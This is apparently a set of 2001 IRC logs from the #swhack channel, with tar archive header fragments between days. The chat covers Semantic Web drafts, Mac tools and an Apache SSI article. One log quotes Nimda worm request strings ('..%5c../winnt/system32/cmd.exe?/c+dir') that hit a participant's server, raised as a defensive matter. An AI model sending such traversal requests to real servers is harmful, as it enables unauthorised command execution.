<AaronSw> Heh! 22:36:40 <AaronSw> "won't people be trying to process their shopping lists on an inference engine, and suddenly come up with a plan for world peace, or some strange and exciting new symphony?" Wouldn't that be cool? 22:36:47 <AaronSw> :Avocado a :Answer . 22:36:53 <AaronSw> :Bananna a :Answer . 22:37:00 <AaronSw> :WorldPeace a :Answer . 22:37:36 <sbp> lol 22:37:55 <AaronSw> Heh: """almost all beginners to RDF go through a sort of "identity crisis"""" 22:38:03 <sbp> :-) 22:38:30 <AaronSw> Is mid:5.0.2.1.2.20010514083735.033d4d90@mail.gorge.net perhaps archived? 22:38:48 <sbp> er... yes. I'm just lazy :-) 22:38:53 <sbp> * sbp searches for the URI... 22:39:46 <AaronSw> hey, you took out the "i don't believe you" header -- it was just like those segments on "Wait, wait!" 22:40:22 <AaronSw> Shoot, I just missed "Wait, wait!" 22:41:22 <sbp> pardon? 22:41:41 <AaronSw> You had some better title to the section on trust/proof before 22:41:47 <AaronSw> <acronym> alert! PGP 22:42:09 <sbp> Aaaaargh! I'm getting so many comments. Hang on a second... 22:42:18 <AaronSw> They're all logged. 22:42:40 <AaronSw> who exactly is MJS? 22:43:30 <sbp> MJS, dunno. Well, it's Mary 22:43:39 <sbp> JS was just random 22:43:49 <AaronSw> Hmm, OK. 22:43:57 <AaronSw> I'm hungry 22:44:01 <AaronSw> * AaronSw goes off to find food 22:46:32 <AaronSw> hmm: merger example 22:46:44 <AaronSw> i was at hospital and they needed to reenter all my records 22:46:55 <AaronSw> why? they merged with other comapny who replaced all their databases with new ones 22:47:04 <AaronSw> i whispered to my mom, they shoulda used RDF ;-) 22:47:15 <sbp> :-) 22:48:41 <AaronSw> Re: extended structure of a SEM, note that this extended structure demonstrates deficiencies in RDF 22:48:51 <AaronSw> such problems are likely to be fixed in RDF 2.0 or some such 22:49:50 <AaronSw> "gaguing from the CWM source code" gauging? 22:50:14 <AaronSw> And :seq is just stupid, IMO. 22:50:51 <sbp> :seq - you should talk to Seth about that one... his diagrams seem quite convincing 22:50:59 <sbp> It's like () syntax, but in the SEM 22:51:13 <AaronSw> Yes, but that's why we have () ;-) 22:51:19 <AaronSw> you don't need it in the SEM. 22:51:34 <AaronSw> TimBL had to reorganize the internal structure of his lists, but still 22:55:28 <AaronSw> "RDF database driven hypermedia blogspace" - that's a mouthful! 22:55:47 <sbp> :-) 22:56:00 <AaronSw> OK, I'm done. 22:56:11 <AaronSw> That, was a good piece. 22:56:34 <sbp> Phew... I'm just going over some comments from danja and DanBri now. So many comments! 22:56:40 <AaronSw> heh 22:56:54 <AaronSw> y'should have invited them in here to chat 22:58:47 <sbp> danja had to go to bed, and DanBri's chatting with Gerald in #rdfig 23:03:13 <AaronSw> Yes, I see. 23:06:43 <sbp> * sbp thinks that he's pretty much addressed the comments... record time, too! 23:11:45 <sbp> Ta da: http://infomesh.net/2001/swintro/ 23:13:28 <sbp> What about the title? "Semantic Web: An Introduction"... I think that's good enough 23:16:14 <sbp> sbp has quit 23:21:21 <AaronSw> Looks good to me. 23:26:02 <AaronSw> Hmm, perhaps an introduction is a bit too broad ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-17.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000040542�07351502675�012026� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:07:10 <logster> logster has joined #swhack 00:07:10 <niven.openprojects.net> topic is: Happy Birthday, Deltab! 00:07:10 <niven.openprojects.net> Users on #swhack: logster @sbp AaronSw deltab 00:10:22 <sbp> sbp has quit 03:02:48 <sbp> sbp has joined #swhack 03:03:05 <sbp> Happy Birthday, Deltab! 03:03:08 <AaronSw> Bonjour. 03:03:12 <deltab> thanks 03:03:12 <sbp> Hi Aaron 03:03:16 <sbp> Does Alexa store images? 03:03:24 <AaronSw> Happy Birthdat, Deltab! :-) 03:03:27 <AaronSw> err birthday 03:03:39 <deltab> thanks 03:03:41 <AaronSw> images: yes... some, at least 03:04:34 <sbp> do you think you could try to grab some from the archives for me? 03:04:46 <sbp> deltab: np. Hope you get lots of cool presents... 03:04:51 <AaronSw> I can try. 03:05:55 <sbp> thanks. There's a site that has gone down with lots of useful information... it's been up for years, but now there's about a 50% chance of it surviving 03:05:56 <deltab> got myself one on Friday: an Acorn-based Internet TV set-top box 03:06:09 <deltab> only £20 from toys r us 03:06:29 <AaronSw> Neat, do you like it? 03:06:59 <deltab> haven't gotten around to setting it up yet 03:08:18 <sbp> Well, happy brithday anyway... :-) 03:08:30 <AaronSw> yeah, sounds pretty neat 03:11:25 <AaronSw> Calling sbp: please stop by #validator 03:34:44 <AaronSw> "I used to be a fan of graphical programming languages until I tried to use them. ", http://wmf.editthispage.com/discuss/msgReader$5698 03:35:04 <sbp> heh! 03:36:05 <AaronSw> Yay, xena is back! 03:36:42 <sbp> where? where? 03:36:50 <AaronSw> On EspraNet 03:36:56 <sbp> Uh... 03:37:15 <AaronSw> irc.espra.net 03:37:47 <AaronSw> Seen on another channel: 03:37:48 <AaronSw> > I really hate X-Chat. 03:37:48 <AaronSw> > it leaks memory like a crappy bathtub 03:37:48 <AaronSw> > but, I use it anyway. 03:37:48 <AaronSw> > actually, fuck that. 03:37:48 <AaronSw> *** x has quit IRC (Client Exiting) 03:37:49 <AaronSw> *** x has joined the channel 03:37:51 <AaronSw> > ok. better 03:37:55 <AaronSw> > no it's not. 03:37:56 <AaronSw> *** x has quit IRC (Leaving) 03:38:24 <sbp> lol! 03:39:16 <AaronSw> names changed to protect...well, i don't know why 04:01:15 <AaronSw> Hmm, in SOAP 1.2 the SOAP doesn't stand for anything. 04:01:31 <AaronSw> Stupid Ogre Ape People? 04:01:41 <AaronSw> Stop Overloading Accessible Ports? 04:02:26 <sbp> So, over a pie? 04:03:09 <AaronSw> Such Octane About Protocols... 04:04:01 <sbp> Silly Olga Ate Papers 04:10:20 <AaronSw> Danbri: "I don't like the current example (Van/Car/etc) as a way of introducing and 04:10:21 <AaronSw> explaining domain and range; it doesn't really help." 04:11:14 <sbp> It was fine for me, but I guess there could be millions of potential examples 04:17:15 <sbp> is pr0n somehow related to the movie Tron? 04:17:38 <AaronSw> Umm, no. 04:47:30 <sbp> sbp has quit 15:36:34 <sbp> sbp has joined #swhack 15:39:46 <sbp> sbp has quit 17:09:33 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 17:09:44 <logster> logster has joined #swhack 17:09:44 <niven.openprojects.net> topic is: Happy Birthday, Deltab! 17:09:44 <niven.openprojects.net> Users on #swhack: logster AaronSw deltab 17:30:39 <sbp> sbp has joined #swhack 17:31:52 <sbp> Hello? 17:31:57 <sbp> Stu is here 17:32:22 <AaronSw> Hi Stu! 17:32:24 <sbp> He says that he found out how to do that Mac thing, and thanks for the info. 17:32:32 <AaronSw> Cool. 17:32:35 <AaronSw> No problem. 17:32:49 <sbp> sbp is now known as Stubie 17:33:16 <Stubie> Hi Aaron 17:33:23 <AaronSw> Hi Stubie 17:33:25 <AaronSw> How's it going? 17:33:39 <Stubie> I found the updating indexing 17:33:46 <Stubie> Finally 17:33:51 <AaronSw> Ahh, cool. Was it that hard? 17:34:18 <Stubie> I figured out how to make the computer talk 17:34:37 <AaronSw> Neato -- that's a lot of fun. 17:34:52 <Stubie> Well I did not look in the the most obvious place,D'oh 17:34:55 <AaronSw> * AaronSw has memories of school computers being hijacked to say rude things... 17:35:18 <Stubie> He he he, I know he he 17:35:57 <Stubie> When ever anything goes wrong, Oh fuck 17:36:13 <Stubie> Stuart language 17:37:17 <AaronSw> Heh 17:37:33 <AaronSw> Mac OS X has speech recognition, which is really cool. 17:37:44 <AaronSw> You can program it to do things when it here's certain words. 17:37:44 <Stubie> What do you really think of Sean, weird isn't he 17:37:53 <AaronSw> s/here/hear/ 17:37:56 <AaronSw> Quite weird! 17:38:08 <Stubie> I can get it to open programs for me 17:38:26 <AaronSw> Cool. 17:38:46 <AaronSw> Mac OS X has scriptable grammars, which look really fun... haven't gotten into those yet. 17:38:54 <AaronSw> So where do you know Sean from? 17:39:19 <Stubie> Yes I completely agree, he has just read your response and in horror 17:40:06 <Stubie> I know him from school, we weren't friends to begin with, I saw him as an enermy 17:40:24 <AaronSw> Sean, you're weird in a good way! ;-) 17:40:34 <Stubie> I apologize????? fior the spellingg 17:40:39 <AaronSw> * AaronSw tends to end up with lots of weird people... they're much more interesting 17:40:46 <AaronSw> ahh, no worries -- no one can spell on IRC. 17:41:07 <Stubie> I completely agree that means I am wired 17:41:20 <Stubie> I make bombs and start fires 17:41:49 <AaronSw> Ahh, cool! 17:41:55 <Stubie> Stubie is now known as sbp 17:41:59 <sbp> he does, it's true 17:42:02 <sbp> sbp is now known as Stubie 17:42:06 <AaronSw> Heh! 17:42:17 <AaronSw> * AaronSw loves this back-and-forth game. 17:42:51 <AaronSw> I have a friend who's from Belgium, he tells me in the Belgium Boy Scouts they add bombs to RC cars and drive them around and blow them up. 17:43:00 <Stubie> Yes he likes to think he's good and smart 17:43:12 <AaronSw> Sean, I assume? 17:43:16 <Stubie> Coll!!! 17:43:22 <AaronSw> Heh. 17:43:31 <Stubie> opps that should be Cool 17:43:57 <Stubie> It is Sean's key board, it is not as good as the mac 17:44:03 <AaronSw> Yeah, I know. :-) 17:44:17 <AaronSw> I don't know how Sean puts up with it... 17:44:47 <Stubie> We were just watching a girl 17:44:59 <AaronSw> Out the window or something? 17:45:01 <AaronSw> Bwm: "I so love that whooshing sound as something passes completely over my head :(" 17:45:06 <AaronSw> Heh. 17:45:16 <Stubie> Stubie is now known as sbp 17:45:17 <sbp> lol 17:45:20 <sbp> sbp is now known as Stubie 17:45:45 <Stubie> sorry to nivk the keyboard bak, but we have to go and get dinner 17:45:55 <AaronSw> nivk? 17:46:06 <AaronSw> So, Stubie, did you come to blow up Sean's apartment? 17:46:19 <Stubie> sbp: aargh, the bloody thing wont let us change nicks back 17:46:34 <Stubie> no, he blows up miscellaneous objects, I'll tell you about it later 17:46:44 <AaronSw> Heh. 17:46:44 <Stubie> me is sbp talking now 17:46:50 <Stubie> gotta run! 17:46:52 <AaronSw> Yes, I noticed. 17:46:54 <AaronSw> Bye. 17:46:56 <Stubie> c'ya 17:46:59 <Stubie> Stubie has quit 19:08:00 <AaronSw> """ I watched only a few dozen players, but my unscientific observations jibed with the results of a classic playground study conducted in 1976 by Janet Lever, a sociologist. The fifth-grade boys she observed often interrupted their games to argue about rules, but the argument never lasted more than seven minutes, and the game always resumed. The girls argued less, but when they did, the game usually ended. """, http://www.nytimes.com/2001/08/05 19:08:20 <AaronSw> Dave Winer: Men do art and war (they're the same thing) and women do infrastructure. 19:08:53 <AaronSw> Perhaps by infrastructure he means maintenance... 19:09:07 <AaronSw> taking care of children, custodians of our parks and libraries, etc. 19:10:13 <AaronSw> Ooh, here we go: 19:10:15 <AaronSw> """''Just as violent video games were pouring into American homes on the crest of the personal computer wave, juvenile violence began to plummet,'' said Lawrence Sherman, a criminologist at the University of Pennsylvania. ''Juvenile murder charges dropped by about two-thirds from 1993 to the end of the decade and show no signs of going back up. The rate of violence in schools hasn't increased, either -- it just gets more media coverage. If video 19:10:20 <AaronSw> Now there's something. 19:11:39 <AaronSw> That's from the same article. 19:38:52 <Stubie> Stubie has joined #swhack 19:39:08 <Stubie> Stubie is now known as sbp 19:39:15 <AaronSw> Hi Stubie. 19:39:20 <AaronSw> :-) 19:39:35 <tav> tav has joined #swhack 19:40:25 <AaronSw> I love CNN-speak for commercials: 19:40:33 <AaronSw> <CC> xxxxxxxxxxxxxxxxxx 19:40:33 <AaronSw> <CC> ppp@p 19:40:38 <sbp> It's Sean now, but Stu is still here 19:40:52 <AaronSw> Oh, haven't gotten rid of him yet? 19:40:56 <sbp> Nah, as if 19:41:27 <AaronSw> How are things? Blow up anything interesting? 19:41:49 <sbp> not yet, I think Stu's given up that stuff, a couple of years ago 19:43:23 <sbp> sbp is now known as Stubie 19:43:53 <Stubie> Sean is trying to be John Lennon 19:43:53 <AaronSw> Wolfram: "if people actually start to understand what I've figured out, then I think I'll be forced to be a very famous scientist. I have mixed feelings about that. But I think it's important to the ideas that I don't try to avoid it too much." Heh! 19:43:57 <AaronSw> How so? 19:44:05 <AaronSw> * AaronSw is listening to the Beatles now 19:44:40 <Stubie> Hair wise 19:44:47 <Stubie> long and unclear 19:44:54 <Stubie> unclean 19:44:58 <Stubie> opps 19:45:25 <AaronSw> Heh. 19:45:41 <Stubie> Heh Heh 19:45:50 <Stubie> he he he 19:46:26 <AaronSw> And would you say you're more of a Ringo Starr? 19:46:58 <Stubie> that stubie should be stube the other way strange 19:47:07 <Stubie> Is that a compliment 19:47:22 <Stubie> I don't play the drums 19:47:52 <AaronSw> No, I mean hair-wise 19:48:00 <Stubie> I am more of Paul Mcartney 19:48:14 <Stubie> No I have clean and in order hair 19:48:36 <AaronSw> Hmm. 19:48:58 <Stubie> ya I see wht you mean 19:49:06 <Stubie> in order????? 19:49:24 <Stubie> hmm what is in ordr???? 19:49:45 <AaronSw> You hair? 19:49:57 <AaronSw> You're the one who said it. 19:49:59 <Stubie> or in your language order 19:50:04 <AaronSw> Huh? 19:51:19 <Stubie> Huh??????????????????????I don't know I lost it along time ago hence the bomb making 19:51:29 <Stubie> * Stubie wrestles the keyboard 19:51:32 <Stubie> Stubie is now known as sbp 19:51:53 <AaronSw> Wolfram: "It turned out that the very fact that I could figure out how to build all the complexity of Mathematica from quite simple "primitives" was an important inspiration." Huh? Mathematica is the antithesis of primitives! 19:51:56 <sbp> Stu seems to have all the communicative capicity of a two year old 19:52:03 <sbp> no offence 19:52:10 <sbp> * sbp fears a kick from Stu 19:52:23 <sbp> (Stu says "Dam straight") 19:52:28 <sbp> s/Dam/Damn 19:52:41 <AaronSw> Heh. 19:52:52 <AaronSw> Using IRC takes some time to get used to. 19:53:01 <sbp> * sbp realises that he has a telecon scheduled, and doesn't know whether to kick Stu out, or skip the call (or both) 19:53:17 <AaronSw> What is it today? PF? 19:53:29 <sbp> Yep. Will you be there? If so, I'll come on it too 19:53:38 <sbp> Keep you company 19:53:46 <AaronSw> No, I don't think I'll make it today. 19:53:52 <sbp> O.K. 19:54:39 <AaronSw> Any idea where danbri went? We were going to work on the DC-Arch page today... 19:54:47 <sbp> I've no idea where he is 19:55:24 <sbp> Gotta run 19:55:25 <sbp> c'ya! 19:55:27 <sbp> sbp has quit 19:55:27 <AaronSw> C'ya 20:38:02 <AaronSw> Me: I think this is a bit of a kludge. 20:38:02 <AaronSw> Pat: Not just a bit, but a kludge, whole and entire. Thanks for pointing it out, though. 20:48:47 <AaronSw> Wolfram: "I'm particularly hoping that a lot of people early in their careers will read A New Kind of Science and get involved with the ideas it describes." 20:48:52 <AaronSw> - http://www.wolframscience.com/qanda/ 21:11:51 <AaronSw> LOL, someone wrote to www-tag proposing </> as the "universal end tag"! 21:33:32 <tav> tav is now known as tav` 22:11:35 <sbp> sbp has joined #swhack 22:15:56 <Morbus> Morbus has joined #swhack 22:17:06 <Morbus> Morbus has quit 22:17:19 <sbp> sbp has quit 22:35:18 <Morbus> Morbus has joined #swhack 22:35:33 <AaronSw> hi there 22:35:47 <Morbus> good day, Aaron. how goes it? 22:36:07 <AaronSw> Alright. Prepapring for the Jewish High Holidays which begin tonight. 22:36:28 <Morbus> what's that all about? 22:36:45 <AaronSw> It's the Jewish New Year. 22:36:46 <Morbus> i am trying to catch up on all my email 22:36:57 <AaronSw> yeah, I was too, but gave up 22:37:55 <Morbus> heheh... i hear ya. basically, i've decided to treat email as one of the sections of disobey. as such, every monday, that's the "section" i work on 22:38:20 <AaronSw> Ahh, I've set it up so I do it on Sundays, but after my trip I'm 300 messages behind. :-( 22:38:44 <Morbus> ooH. not good. 22:39:07 <Morbus> i'm doing good so far. i answered a bunch this morning - right now I only have about 80 left. i answer them at work too (but don't tell, shshHHh!) 22:39:15 <AaronSw> :-) 22:39:33 <Morbus> new version of macsatellite out too. got it dl'd, don't know how well it works though 22:39:49 <AaronSw> Ahh, cool -- i've been pretty happy with the current one. 22:40:03 <AaronSw> Especially after I realized that if I reset the file types I could get faster downloads! 22:40:09 <Morbus> same here, but i love have the latest and greatest ;) 22:40:15 <Morbus> hmm? 22:40:30 <AaronSw> It lets you do simultaneous downloads if you share > 25 files. 22:40:52 <AaronSw> I have a collection of a hundred or so, but AG wasn't seeing them because they were iTunes creator coded 22:41:08 <AaronSw> So I used a nifty perl script and the Devtools software to reset the codes on them 22:41:11 <AaronSw> and now I can download 10 files at once. 22:42:05 <Morbus> ah. i use "xFiles" to do that. but, from what i know too, it doesn't support longfilenames under OSX, so anything over the Classic limit shows up as Name-The F#1243423 or something similar. 22:42:24 <AaronSw> Ouch. 22:42:44 <Morbus> yeah, which is hella annoying. i'm sharing 1200 files, but only about 300 are readbale. 22:43:00 <AaronSw> Err, why? 22:43:29 <Morbus> why what? well, readable in the sense of people searching and downloading them. 22:43:31 <AaronSw> MacSatellite does some pretty weird truncation on downloaded, files, but uploaded ones should be fine... 22:43:43 <AaronSw> readable: ahh -- you need ID3 tags, then ;-) 22:43:55 <Morbus> cos the site will show the Classic names only - 22:44:05 <Morbus> i have id3's on all of them actually. 22:44:10 <Morbus> but it doesn't read those - just the filenames. 22:46:22 <AaronSw> Really? Odd, i thought it did... 22:47:43 <Morbus> i'm trying to get you an example, but i'm leeching something so my connection is slow 22:49:29 <Morbus> ah well. i'll try later 22:55:26 <Morbus> Morbus has quit 22:57:20 <Morbus> Morbus has joined #swhack 22:57:37 <AaronSw> wb 22:57:40 <AaronSw> :-) 22:57:56 <Morbus> if you use iTunes, do you experience random hard freezes every so often? 22:57:57 <AaronSw> sucky ISP? ;-) 22:58:08 <AaronSw> freezes: nope 22:58:12 <Morbus> heheh. no ;) 22:58:34 <Morbus> odd. sometimes when i have a lot of shit open at once and itunes playing, i'll get hard freezes needing reboot 22:59:01 <AaronSw> weird... never had that 22:59:07 <AaronSw> altho i mostly us QT Player now 22:59:51 <Morbus> bah. 23:00:06 <Morbus> there's a port of mpg123 for os x now. i wonder if i can do my stupid "now listneing" thing with that 23:00:16 <Morbus> and i want to do a stupid perl/eudora random sig changer 23:01:06 <AaronSw> You should talk to jang (#rdfig) he has done both 23:01:19 <AaronSw> (web-based, of course) 23:01:27 <AaronSw> ioctl.org for links 23:03:45 <Morbus> both are up there? i'll have to check it out. 23:04:20 <AaronSw> yep 23:05:01 <AaronSw> http://tribble.ilrt.bris.ac.uk/~cmjg/juke/ 23:05:14 <AaronSw> http://ioctl.org/jan/sig-submit 23:05:44 <Morbus> is his pae supposed to work in ie 5.1 for OS X? it's all screwy on my copy. 23:05:53 <AaronSw> yeah, mine too 23:06:11 <AaronSw> never bothered to follow up on it. 23:07:37 <Morbus> aaron, does he provide the source to his randomizer? i want to hook it into eudora. 23:07:52 <AaronSw> Not that I know of... but I'm sure you can mail him and get it. 23:08:01 <Morbus> ah. 23:08:02 <AaronSw> He's only as scary as you are... 23:08:06 <AaronSw> :-) 23:08:43 <Morbus> bwahahah. i'm not scary? am i? 23:09:10 <AaronSw> Nah...just your website is. ;-) 23:10:04 <Morbus> hehehe. my website is not scary! it's like homecooking. 23:10:08 <AaronSw> heh. 23:10:10 <AaronSw> Gotta run... c'ya Thursday. 23:10:32 <AaronSw> err, Wednesday nite, probably 23:11:03 <AaronSw> bye 23:12:34 <Morbus> yup. ciao 23:22:18 <Morbus> Morbus has quit 23:22:37 <Morbus> Morbus has joined #swhack ��������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-18.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000001354�07351630546�012024� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:23:57 <logster> logster has joined #swhack 00:23:57 <carter.openprojects.net> topic is: Happy Birthday, Deltab! 00:23:57 <carter.openprojects.net> Users on #swhack: logster tav` AaronSw deltab 00:28:29 <Morbus> Morbus has joined #swhack 00:50:40 <Morbus> Morbus has left #swhack 00:53:18 <tav`> tav` has quit 00:56:38 <tav`> tav` has joined #swhack 11:34:52 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by carter.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 11:35:02 <logster> logster has joined #swhack 11:35:02 <niven.openprojects.net> topic is: Happy Birthday, Deltab! 11:35:02 <niven.openprojects.net> Users on #swhack: logster tav` AaronSw deltab ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-20.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000107535�07352501366�012023� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:38:03 <logster> logster has joined #swhack 00:38:03 <asimov.openprojects.net> Users on #swhack: logster deltab tav tav` AaronSw 00:38:32 <Morbus> Morbus has joined #swhack 00:38:48 <AaronSw> hi there... good timing, i just returned 00:42:28 <AaronSw> Eeek, 10,591 new emails... something is wrong. 00:43:50 <AaronSw> I'm being attacked by what looks like some weird new worm... anyone seen this? 00:44:54 <deltab> NIMDA? 00:49:15 <Morbus> yup. 00:49:31 <Morbus> if you're running sendmail on your server, aaron, i can give you the filter 00:49:37 <Morbus> or procmail. 00:49:49 <AaronSw> Please? 00:49:52 <AaronSw> How does it work? 00:49:54 <Morbus> procmail or sendmail? 00:49:58 <AaronSw> sendmail 00:50:16 <Morbus> do you have the regexp support compiled in? 00:50:32 <AaronSw> umm, not sure... I just installed the default RPM 00:50:43 <Morbus> hmm. i dunno. we'll try. hold on. 00:51:02 <Morbus> http://ISP-Lists.ISP-Planet.com/isp-tech/0109/msg00851.html 00:51:11 <Morbus> thats me from my work :) 00:53:37 <AaronSw> thanks 00:54:06 <Morbus> there are router commands to block it, but i don't have those around me. 00:55:26 <AaronSw> Hmm, now I just need to figure out how to write a perl script to remove it from my mail spool 00:57:05 <AaronSw> Oh, shoot.. never mind the email box isn't on my server. 00:57:22 <Morbus> heh... uh oh. 00:57:29 <Morbus> can you procmail it locally? 00:57:47 <AaronSw> well, i can filter it with my mail client (which is what i'm doing) 00:57:53 <AaronSw> but it's going to take a while to download... 00:57:59 <Morbus> what format is your mailbox in? you on linux? or mac right now? 00:58:15 <Morbus> ah. you can't telnet to the email box and run a script on your file? <g> 00:58:33 <AaronSw> heh, not that i know of... mindspring 00:58:39 <Morbus> ah. yeah. 00:58:42 <Morbus> welp... hmm... 00:58:57 <Morbus> do this. set your email program to not dl mail over 20k, just dl the headers. 00:59:01 <Morbus> then mass delete that way.] 00:59:46 <AaronSw> nah, that won't work... the emails are all very small 01:01:19 <Morbus> do they all have an attachment of "readme.exe"? 01:01:38 <AaronSw> no, it's not NIMDA, apparently 01:01:54 <Morbus> ah. 01:01:58 <AaronSw> it's emails from a bot i set up to notify me when weird things it the server... 01:02:03 <AaronSw> but a lot of weird things hit... 01:02:06 <AaronSw> stufflike: http://www/scripts/..%5c../winnt/system32/cmd.exe?/c+dir 01:02:17 <AaronSw> and http://www/d/winnt/system32/cmd.exe?/c+dir 01:02:37 <AaronSw> And all the peer IPs are within the class C I'm on 01:02:40 <Morbus> yeah, that's nimda 01:02:48 <AaronSw> Oh, OK... 01:03:05 <Morbus> nimda tries to attack about 6 or 7 vuln's in NT, and acts like code red in the sense of scanning its class C first. 01:03:51 <AaronSw> I see... it's really hit hard 01:04:49 <Morbus> mmHmm... 01:05:34 <AaronSw> I can't think of much more to do but sit and wait.... 01:05:44 <AaronSw> at least i've got my mailer to delete them locall 01:05:47 <AaronSw> err locally 01:08:30 <Morbus> hey, deltab, you want to read over something i'm going to post on evolt.org? concerns apache and ssi's. i'm about five minutes from finishing it, and would need a readover in about 10. you too aaron is you want 01:08:52 <deltab> okay 01:09:06 <AaronSw> i've got a few other things to straighten out first, but when i'm done. ;-) 01:10:49 <Morbus> deltag, try to get to http://63.173.138.142/ssi%20gallery.htm 01:13:28 <sbp> sbp has joined #swhack 01:13:56 <sbp> Hey, logster's back! 01:13:58 <sbp> Woo! 01:14:16 <AaronSw> :-) 01:14:32 <sbp> Did you have a nice holiday? 01:14:54 <AaronSw> * AaronSw returns to two downed bots and 10,576 new emails 01:14:58 <AaronSw> :-( 01:14:59 <Morbus> heheheh 01:14:59 <sbp> lol! 01:15:07 <Morbus> he got hit by nimda :) 01:15:07 <AaronSw> No, i'm completely serious. 01:15:10 <AaronSw> :-( 01:15:23 <AaronSw> But the holiday was great! It was like having a weekend in the middle of the week. 01:15:26 <sbp> I know, that's why it's so funny :-) 01:15:30 <Morbus> heheheheh 01:15:35 <sbp> Nimda: scary thing 01:15:52 <sbp> holiday: lucky you 01:15:52 <AaronSw> And apparently my client reconnected 10^7 times... it's the topic at #openacs :-( 01:16:00 <Morbus> hey, sbp, you want to readover something for me/ 01:16:08 <Morbus> http://63.173.138.142/ssi%20gallery.htm 01:16:10 <sbp> sure 01:16:24 <Morbus> gimme your thoughts. i'll be doing a revision and then posting to evolt.org before tonight is over 01:17:50 <sbp> I'm not even going to speak to you again until you put "alt" attributes on those images... 01:17:57 <AaronSw> heh! 01:18:05 <Morbus> hehehe. fine. actually, that's a good point ;) 01:18:27 <sbp> :-) 01:19:39 <sbp> Chaining SSI's? Good idea! 01:20:18 <Morbus> :) 01:24:01 <AaronSw> Hmm, why isn't sed -e 's/\r/\n/' working? 01:24:36 <deltab> morbus: found a > which should be > 01:25:07 <Morbus> yup. refresh. its' validating now 01:28:57 <deltab> AaronSw: sed can only work on a line at a time 01:29:10 <deltab> what are you trying to do? change line endings somehow? 01:29:10 <AaronSw> oh? so it won't see the \r ? 01:29:13 <AaronSw> yes 01:29:30 <Morbus> perl -e -i.old `s/\r/\n/' <filename> 01:29:30 <sbp> why don't you use a Python script? 01:29:37 <deltab> DOS to double-spaced Unix? 01:29:41 <sbp> or Perl 01:29:46 <AaronSw> Mac to Unix, deltab 01:29:51 <AaronSw> Morbus does that edit in place? 01:29:51 <deltab> ah 01:30:00 <AaronSw> I need something to pipe it 01:30:20 <deltab> AaronSw: it does, with .old added to the backup 01:30:31 <deltab> just remove the -i .old 01:30:38 <tav> sbp, in pyAdvocacy classes, they taught us that perl has it's uses, this is one of them 01:30:41 <deltab> and add -p 01:30:50 <sbp> yeah... I suppose 01:31:05 <AaronSw> perl -e -p 's/\r/\n/' <filename> ? 01:31:15 <tav> you folks really should attend good pyAdvocacy lessons 01:31:21 <AaronSw> where, tav? 01:31:51 <tav> they are all around us 01:32:00 <AaronSw> So how do I attend? 01:32:08 <deltab> AaronSw: you could use tr instead 01:32:08 <Morbus> hehehe... any of you guys tried parrot yet? 01:32:25 <Morbus> deltab: any thoughts on the article? 01:32:38 <AaronSw> tr: thanks -- couldn't remember the name 01:32:46 <deltab> Morbus: I like it 01:32:51 <deltab> still reading 01:32:54 <Morbus> k 01:33:11 <tav> AaronSw: stay on the path towards python zen, and the pyAdvocacy lesson brochures will start appearing 01:33:19 <AaronSw> heh! 01:33:44 <tav> remember, java is the root of all evil! 01:33:48 <tav> chant after me! 01:33:53 <tav> java is the root of all evil! 01:33:57 <sbp> absolutely... 01:34:02 <deltab> s/as well as it's/as well as its/ 01:34:25 <Morbus> thanks 01:34:28 <AaronSw> They released Parrot? 01:34:49 <tav> heh 01:34:51 <sbp> Hmm... Python zen: what's the sound of oen string splicing? 01:34:51 <Morbus> yup. use.perl.org :) 01:36:59 <Morbus> deltab: do you know if i set a description using mod_index that i could pick it up via ssi? i doubt it. twould be nice though 01:37:15 <sbp> Well anyway, that was fun 01:43:45 <AaronSw> Did they refactor cwm.py while I was gone? That would be a real miracle... 01:44:04 <sbp> they split it up a bit... 01:44:10 <AaronSw> wow! 01:46:22 <Morbus> any final comments on this ssi thing? 01:46:29 <deltab> yes 01:46:34 <sbp> Yeah: go publish it... now! 01:46:37 <Morbus> hehehe. 01:46:50 <Morbus> i had a few hours. if i don't finish it tonight, it'll be weeks before i get back to it :0 01:50:42 <deltab> Morbus: you mean mod_autoindex, I assume. No way that I can find, though it might be possible with an extension or something 01:51:37 <deltab> fixed the >.jpg thing? 01:52:01 <Morbus> yup, and yup. 01:52:07 <Morbus> just adding some anal caveats now. 01:52:10 <Morbus> added alt tags 01:52:23 <Morbus> adding a RedirectMatch to allow /show/jack instead of show.shtml/jack. 01:53:30 <Morbus> aaronSw, btw, if you get tinkertool, you can turn on hidden files for osx, which allows you to see .htaccess files (normally,you'd have to bbedit or shell them) 01:53:50 <Morbus> osx/finder rather 01:53:52 <AaronSw> oh, neat 01:54:01 <AaronSw> * AaronSw uses the shell more than the finder, but still cool 01:54:08 <AaronSw> I love the Pepper mlpe combo. 01:54:32 <Morbus> the sad thing is that i've been using netfinder, so i've had to shell .htaccess, then rename it to -htaccess so Netfinder can see it, and then rename on the server end too. pain in the ass 01:55:03 <AaronSw> NameError: 'Netfinder' not bound 01:55:32 <AaronSw> i.e. Netfinder? 01:55:53 <Morbus> finder ftp client 01:56:03 <AaronSw> ahh 01:56:12 <Morbus> deltab, refresh to see two caveats in the conclusion 01:56:18 <deltab> Morbus: I wouldn't say flastmod and fsize perform "an action on a file" 01:56:37 <deltab> conclusion? 01:56:49 <deltab> <h2>Conclusion</h2> 01:56:49 <deltab> </body></html> 01:56:54 <Morbus> yeah, conclusion of that file. ... refresh. 01:57:19 <Morbus> perform a "analysis"... "info request"? 01:57:41 <deltab> not seeing any change when I reload 01:57:43 <Morbus> uh oh. i think its caching. 01:57:54 <Morbus> ok. i'm a moron. hold on. 01:58:24 <sbp> to what? 01:58:32 <Morbus> try again 01:58:44 <Morbus> that ssi doc 